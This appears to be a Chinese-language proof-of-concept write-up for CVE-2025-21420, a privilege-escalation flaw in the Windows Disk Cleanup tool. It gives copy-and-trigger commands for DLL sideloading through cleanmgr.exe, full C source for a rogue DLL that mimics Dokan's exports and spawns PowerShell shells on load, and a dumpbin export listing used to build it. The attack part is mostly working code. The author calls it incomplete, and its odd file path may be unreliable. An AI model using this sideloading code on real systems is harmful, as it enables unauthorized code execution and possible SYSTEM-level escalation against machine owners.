CVE-2025-21420 PoC

(Windows磁盘清理工具权限提升漏洞)

据我所知，尽管不完整，但这是该CVE的第一个PoC。

• https://nvd.nist.gov/vuln/detail/CVE-2025-21420
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-21420

我们发现了一种通过cleanmgr.exe进行DLL侧加载的方法。

$ cp .\dokan1.dll C:\Users\<username>\System32\System32\System32\dokannp1.dll
$ cleanmgr /sageset:2

只需使用常规的DLL侧加载，就会获得大量shell。我们尚未测试是否只需第二个DLL名称就够了，还是第一个略有不同的也被使用（由于字体较小，最初在ProcMon中可能看错了名称）。

目前仍在研究权限提升部分，但很可能只需将cleanmgr.exe调度为NT-Authority\System，或等待系统触发它，例如通过填满磁盘或创建过多临时文件。

警告：以下仍是研究级别（即垃圾代码），它会弹出数百个消息框和shell。同样的功能可以用更少的代码实现。

#include <stdio.h>
#include "pch.h"
#include <stdlib.h>
#include <windows.h>


__declspec(dllexport) void DokanDebugMode();
__declspec(dllexport) void DokanDriverVersion();
__declspec(dllexport) void DokanGetMountPointList();
__declspec(dllexport) void DokanIsNameInExpression();
__declspec(dllexport) void DokanMain();
__declspec(dllexport) void DokanMapKernelToUserCreateFileFlags();
__declspec(dllexport) void DokanNetworkProviderInstall();
__declspec(dllexport) void DokanNetworkProviderUninstall();
__declspec(dllexport) void DokanNotifyCreate();
__declspec(dllexport) void DokanNotifyDelete();
__declspec(dllexport) void DokanNotifyRename();
__declspec(dllexport) void DokanNotifyUpdate();
__declspec(dllexport) void DokanNotifyXAttrUpdate();
__declspec(dllexport) void DokanNtStatusFromWin32();
__declspec(dllexport) void DokanOpenRequestorToken();
__declspec(dllexport) void DokanReleaseMountPointList();
__declspec(dllexport) void DokanRemoveMountPoint();
__declspec(dllexport) void DokanResetTimeout();
__declspec(dllexport) void DokanServiceDelete();
__declspec(dllexport) void DokanServiceInstall();
__declspec(dllexport) void DokanSetDebugMode();
__declspec(dllexport) void DokanUnmount();
__declspec(dllexport) void DokanUseStdErr();
__declspec(dllexport) void DokanVersion();

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved)
{
    
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
    default:
        DokanMain();
        break;
    }
    return TRUE;
}

void DokanMain() {
    MessageBoxW(NULL, L"Hello World2", L"DLL Message", MB_OK);
    system("powershell.exe");
    HANDLE hThread = NULL;

    wchar_t cmdLine[] = L"powershell.exe"; 
    STARTUPINFOW si = { 0 };
    PROCESS_INFORMATION pi = { 0 };

    si.cb = sizeof(si);

    hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)DokanDebugMode, NULL, 0, NULL);
    return;
}

void DokanDebugMode() {  DokanMain(); return;};
void DokanDriverVersion() {  DokanMain(); return;};
void DokanGetMountPointList() {  DokanMain(); return;};
void DokanIsNameInExpression() {  DokanMain(); return;};
void DokanMapKernelToUserCreateFileFlags() {  DokanMain(); return;};
void DokanNetworkProviderInstall() {  DokanMain(); return;};
void DokanNetworkProviderUninstall() {  DokanMain(); return;};
void DokanNotifyCreate() {  DokanMain(); return;};
void DokanNotifyDelete() {  DokanMain(); return;};
void DokanNotifyRename() {  DokanMain(); return;};
void DokanNotifyUpdate() {  DokanMain(); return;};
void DokanNotifyXAttrUpdate() {  DokanMain(); return;};
void DokanNtStatusFromWin32() {  DokanMain(); return;};
void DokanOpenRequestorToken() {  DokanMain(); return;};
void DokanReleaseMountPointList() {  DokanMain(); return;};
void DokanRemoveMountPoint() {  DokanMain(); return;};
void DokanResetTimeout() {  DokanMain(); return;};
void DokanServiceDelete() {  DokanMain(); return;};
void DokanServiceInstall() {  DokanMain(); return;};
void DokanSetDebugMode() {  DokanMain(); return;};
void DokanUnmount() {  DokanMain(); return;};
void DokanUseStdErr() {  DokanMain(); return;};
void DokanVersion() {  DokanMain(); return;};

一些背景

$ dumpbin /exports C:\Windows\System32\dokan1.dll
Microsoft (R) COFF/PE Dumper Version 14.34.31937.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file C:\Windows\System32\dokan1.dll

File Type: DLL


    ordinal hint RVA      name

          1    0 00004E40 DokanDebugMode
          2    1 0000F760 DokanDriverVersion
          3    2 00006F00 DokanGetMountPointList
          4    3 000045F0 DokanIsNameInExpression
          5    4 000052E0 DokanMain
          6    5 00007230 DokanMapKernelToUserCreateFileFlags
          7    6 000098F0 DokanNetworkProviderInstall
          8    7 00009B70 DokanNetworkProviderUninstall
          9    8 00007530 DokanNotifyCreate
         10    9 00007550 DokanNotifyDelete
         11    A 00007590 DokanNotifyRename
         12    B 00007570 DokanNotifyUpdate
         13    C 00007580 DokanNotifyXAttrUpdate
         14    D 0000AB80 DokanNtStatusFromWin32
         15    E 00001340 DokanOpenRequestorToken
         16    F 00007160 DokanReleaseMountPointList
         17   10 0000A9F0 DokanRemoveMountPoint
         18   11 0000F430 DokanResetTimeout
         19   12 00009790 DokanServiceDelete
         20   13 00009650 DokanServiceInstall
         21   14 00006BE0 DokanSetDebugMode
         22   15 00009870 DokanUnmount
         23   16 00004E30 DokanUseStdErr
         24   17 0000F750 DokanVersion

  Summary
        6000 .pdata
       15000 .rdata
        1000 .reloc
        1000 .rsrc
       60000 .text
        1000 _RDATA